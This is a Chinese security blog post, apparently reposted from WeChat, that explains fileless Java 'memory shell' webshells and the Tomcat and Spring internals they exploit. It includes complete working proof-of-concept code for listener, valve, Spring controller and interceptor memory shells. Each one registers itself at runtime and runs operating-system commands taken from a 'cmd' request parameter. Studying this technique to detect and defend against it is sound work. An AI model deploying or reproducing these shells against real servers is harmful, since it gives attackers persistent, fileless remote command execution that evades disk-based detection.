🌟 ❤️
作者:yueji0j1anke
首发于公号:剑客古月的安全屋
字数:5721
阅读时间: 15min
声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。合法渗透,本文章内容纯属虚构,如遇巧合,纯属意外
目录
-
前言
-
技术调研
JSP
Tomcat
-
内存马
Tomcat型内存马
Spring型内存马
-
总结
0x01 前言介绍
近年来,安全设备逐渐发展演化,IPS、IDS、EDR等设备的出现无不彰显着蓝方安全水平的提高,而与之对应,webshell这种攻击手段越来越复杂化,从最初的一句话木马到加密木马、再到流量加密管理工具。但由于这些木马文件都是直接明面摆放在磁盘上,很容易被动态监测到
因此近几年兴起了全新的手段: 内存马,一种无文件落地的webshell
0x02 技术调研
在展开讲内存马之前,我们先来学习一下前置知识。
1.JSP
什么是jsp呢。简单来说,jsp是java的一种动态网页技术,在java没有框架早期开发中,通过由html+xml+jsp编写的jsp与用户进行交互、访问数据库、动态展现网页。(可以把jsp当做一个java servlet)
搭建jsp开发环境教程如下
https://blog.csdn.net/m0_74154295/article/details/133076620?ops_request_misc=&request_id=&biz_id=102&utm_term=idea%E7%BC%96%E5%86%99jsp&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduweb~default-1-133076620.142^v100^pc_search_result_base9&spm=1018.2226.3001.4187
如上图所示,这便是一个最简单的jsp页面
而对于jsp本身来说,开发者肯定会赋予其完成更复杂功能的任务,这就涉及到了jsp的内置对象。
2.Tomcat
1.基本组件
首先介绍一下tomcat容器,有四类容器组件,从上而下为
Engine: 最顶层组件,包含多个host
Host: 等同一个虚拟主机,包含多个context
Context: 等同一个web应用,包含多个Wrapper
Wrapper: 等同一个servlet
在整个请求响应中,客户端首先与tomcat服务器建立socket连接,随后发送请求,对应的HttpServletRequest对象经过容器处理识别传递给对应的容器组件,随后层层传递至servlet层,servlet层生成其要访问的servlet实例对象,并在service层对HttpServletRequest对象进行处理。
2.context
而在学习内存马时,有三个重要的context,这里做以下说明
ServletContext:
用来保存一个web应用中所有的servlet上下文信息,可以通过其对web应用资源进行访问
ApplicationContext:
ServletContext的具体实现就是ApplicationContext,实现了其具体的一些方法
StandardContext:
Context的标准实现类,ApplicationContext的方法实际也是调用其的方法
3.管道机制
除此之外,我们还需要了解一下tomcat的管道机制。
我们之前谈到,tomcat服务器与客户端建立socket连接之后会将HttpServletRequest对象识别后传递给对应组件,随后层层传递到Servlet层生成对应接受的实例化Servlet对象,并将request对象作为参数传递给Servlet对象的service层进行相关逻辑处理。
那我们的请求对象是如何在四层组件之间层层传递的呢?这就涉及到了我们的管道机制,这其中又会涉及到两个名词
valve(阀门)和pipeline(管道)
在我的理解中,valve是tomcat中类似于过滤器的机制,用于拦截和处理请求,相当于是一种请求预处理,并在四大组件中都有对应了valve类
而pipeline则是将多个valve串联在一起的请求处理机制,相当于组织装载多个valve的容器,当请求来临时,会依次调用valve对HttpServletRequest进行处理,最后传递给Servlet层。
0x03 内存马
这里大概会剖析tomcat和spring内存马,并顺带实操一下agent内存马
java内存马按照实现大概分为两类
1.servlet-api型: 通过命令执行恶意创建一个新的filter、servlet、listener,进而完成命令执行,在spring框架下就是controller和Intercepter
2.字节码增强型: 通过java的Instrument机制动态修改已有代码,完成命令执行。具体注入的则是agent,修改字节码。
下面先讲讲tomcat内存马
1.Tomcat内存马
tomcat内存马目前主流分为三种, listener型、filter型和servlet型(都是核心组件)
请求网站时,程序先执行listener监听器的内容: listener->filter->servlet
而listener分为以下几种
servletContext 服务器启动和终止时触发
session 有关session操作时触发
request 访问服务时触发
而这三种中,request型的listener显然是最容易触发的,只需要访问资源即可完成触发
1.listener型内存马
下面为恶意listener代码
package com.ofsoft.cms.admin.controller;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
@WebListener
public class listener222 implements ServletRequestListener{
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
System.out.println("gggg");
String cmd = request.getParameter("cmd");
System.out.println(cmd);
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
}
}
那如何在jsp中构建呢
打个断点追踪一下调用栈
阅读StandardContext#fireRequestInitEvent
部分
public boolean fireRequestInitEvent(ServletRequest request) {
Object instances[] = getApplicationEventListeners();
if ((instances != null) && (instances.length > 0)) {
ServletRequestEvent event = new ServletRequestEvent(getServletContext(), request);
for (Object instance : instances) {
if (instance == null) {
continue;
}
if (!(instance instanceof ServletRequestListener)) {
continue;
}
ServletRequestListener listener = (ServletRequestListener) instance;
try {
listener.requestInitialized(event);
} catch (Throwable t) {
ExceptionUtils.handleThrowable(t);
getLogger().error(
sm.getString("standardContext.requestListener.requestInit", instance.getClass().getName()),
t);
request.setAttribute(RequestDispatcher.ERROR_EXCEPTION, t);
return false;
}
}
}
return true;
}
大致逻辑是getApplicationEventListeners()
返回了一个Listener实例数组,在for循环内遍历调用。跟进一下,看看是怎么获取实例数组的。
applicationEventListenersList
是StandardContext
的一个私有成员变量,我们可以通过StandardContext
的方法来添加listener
随后触发的方式便是通过request请求实例化了StandardContext
那大致流程就是
1. 获取StandardContext
2. listener实现
3.`fireRequestInitEvent`部分通过add方法进行添加listener监听器
构造完成poc
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%!
public class Shell_Listener implements ServletRequestListener {
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
}
public void requestDestroyed(ServletRequestEvent sre) {
}
}
%>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
Shell_Listener shell_Listener = new Shell_Listener();
context.addApplicationEventListener(shell_Listener);
%>
而filter型、servlet型内存马实现过程与其类似,这里就不再过多赘述,详情可见这篇文章
https://mp.weixin.qq.com/s/K_rmWdxI8uJVGsytlmL76g
而下面将会讲讲tomcat另一种内存马
2.valve型内存马
valve内存马同listener、filter、Servlet内存马一样,动态被创建一个新的valve去实现命令执行功能
大致思路如下
1.获取StandardContext对象
2.通过第一步获取StandardPipeline
3.编写恶意Valve
4.通过StandardPipeline动态添加Valve
poc如下
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.Pipeline" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
Pipeline pipeline = standardContext.getPipeline();
%>
<%!
class Shell_Valve extends ValveBase {
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if (cmd !=null){
try{
Runtime.getRuntime().exec(cmd);
}catch (IOException e){
e.printStackTrace();
}catch (NullPointerException n){
n.printStackTrace();
}
}
}
}
%>
<%
Shell_Valve shell_valve = new Shell_Valve();
pipeline.addValve(shell_valve);
%>
2.Spring型内存马
随着Spring全家桶的盛行,现在网上越来越多spring框架开发的web应用,而spring本身也多自带tomcat容器,所以相关Sprring型内存马的内容实则是Tomcat内存马的演变,只不过相关的逻辑调用做了对应的名称改变
这里讲解一下环境配置
pom文件如下
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.7.15</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>com.demo.example</groupId>
<artifactId>example</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>example</name>
<description>Demo project for Spring Boot</description>
<url/>
<licenses>
<license/>
</licenses>
<developers>
<developer/>
</developers>
<scm>
<connection/>
<developerConnection/>
<tag/>
<url/>
</scm>
<properties>
<java.version>1.8</java.version>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
<spring-boot.version>2.6.13</spring-boot.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-webmvc</artifactId>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-web</artifactId>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version>
</dependency>
<dependency>
<groupId>taglibs</groupId>
<artifactId>standard</artifactId>
<version>1.1.2</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.8.1</version>
<configuration>
<source>1.8</source>
<target>1.8</target>
<encoding>UTF-8</encoding>
</configuration>
</plugin>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
<version>2.7.15</version>
<configuration>
<mainClass>com.example.spring.SpringDemoApplication</mainClass>
<skip>true</skip>
</configuration>
</plugin>
</plugins>
</build>
</project>
创建web 结构
web.xml配置
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<!-- 配置SpringMVC的前端控制器,对请求统一进行处理 -->
<servlet>
<servlet-name>springmvc</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>WEB-INF/springmvc.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>springmvc</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
</web-app>
springmvc.xml配置
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:mvc="http://www.springframework.org/schema/mvc"
xmlns:context="http://www.springframework.org/schema/context"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/mvc http://www.springframework.org/schema/mvc/spring-mvc.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd">
<context:component-scan base-package="com.demo.example"/>
<!-- 开启springMVC的注解驱动,使得url可以映射到对应的controller -->
<mvc:annotation-driven />
<!-- 视图解析 -->
<bean class="org.springframework.web.servlet.view.InternalResourceViewResolver">
<property name="prefix" value="/WEB-INF/views/"/>
<property name="suffix" value=".jsp"/>
</bean>
</beans>
随后配置tomcat服务器
1.Controller型内存马
和tomcat内存马类似,我们需要了解如何动态的注册一个controller类型内存马,大致思路类似,如下所示
1.获取context环境
2.动态注册controller
3.将其动态添加到路由
在这之前,先介绍一下IOC容器
一个web应用如果引用或拥有大量的组件(类),会导致系统复杂,互相引用,非常大程度提高了项目的耦合度,为测试和维护带来困难。因此引入了IOC(依赖注入)
你若想把某个对象交给IOC容器来管理,即在上面添加相关注释即可。比如下列代码,就是将DemoController这个类交给controller组件进行控制,这个类自然也才成了controller的子类
@Controller
public class DemoController {
@ResponseBody
@RequestMapping("hello")
public String hello() {
System.out.println("hello");
return "hello";
}
}
而在spring框架中,org.springframework.context.ApplicationContext
接口也代表了 IoC
容器 ,它负责实例化、定位、配置应用程序中的对象(bean
)及建立这些对象间(beans
)的依赖。
如何获取上下文环境的context呢,这里也有个类似于tomcat的requestcontext类,叫做RequestContextUtils
那么首先就需要了解一下controller对应的调用栈
在dodispatch处分配处理请求
并且此处通过mappedHandler.getHandler()获取了mappedHandler的handler
追入
持续追入
这里通过mapper路由继续去处理request对象
随后将请求传递给requestMappingHandler接口,找到对应的controller层并生成实例对象对请求进行处理
那大致逻辑已经理清
可以先获取一个webapplicationcontext上下文,注册一个控制器后,通过该注册器动态注册一个新的控制器去调用实现系统命令
poc如下
package com.demo.example.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.lang.reflect.Method;
@Controller
public class ShellController {
@RequestMapping("/control")
public void Spring_Controller() throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException {
//获取当前上下文环境
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
//手动注册Controller
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
// 2. 通过反射获得自定义 controller 中唯一的 Method 对象
Method method = Controller_Shell.class.getDeclaredMethod("shell");
// 3. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/shell");
// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
r.registerMapping(info, new Controller_Shell(), method);
}
public class Controller_Shell {
public Controller_Shell() {
}
public void shell() throws IOException {
//获取request
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
Runtime.getRuntime().exec(request.getParameter("cmd"));
}
}
}
复现如下
首先访问controller网页
会显示404,因为没有对应return
随后访问路由
2.Interceptor型内存马
类似于tomcat中的filter组件,用于拦截用户请求并做相关处理
这里实现一个简单的路由
对应的拦截器
效果如下
实现思路类似
获取context上下环境
实现Interceptor
动态注册Interceptor并将其添加到容器,实现路由
同理,构造poc如下
package com.shell.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.servlet.support.RequestContextUtils;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
@Controller
public class Inject_Shell_Interceptor_Controller {
@ResponseBody
@RequestMapping("/inject")
public void Inject() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
//获取上下文环境
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
//获取adaptedInterceptors属性值
org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean(RequestMappingHandlerMapping.class);
java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
//将恶意Interceptor添加入adaptedInterceptors
Shell_Interceptor shell_interceptor = new Shell_Interceptor();
adaptedInterceptors.add(shell_interceptor);
}
public class Shell_Interceptor implements HandlerInterceptor{
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
return true;
}
return false;
}
}
}
0x04 总结
内存马的机制今日讲了Servlet-api类,后期将带来Java Agent内存马的剖析
原文始发于微信公众号(剑客古月的安全屋):Java安全-深度剖析内存马&上篇
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论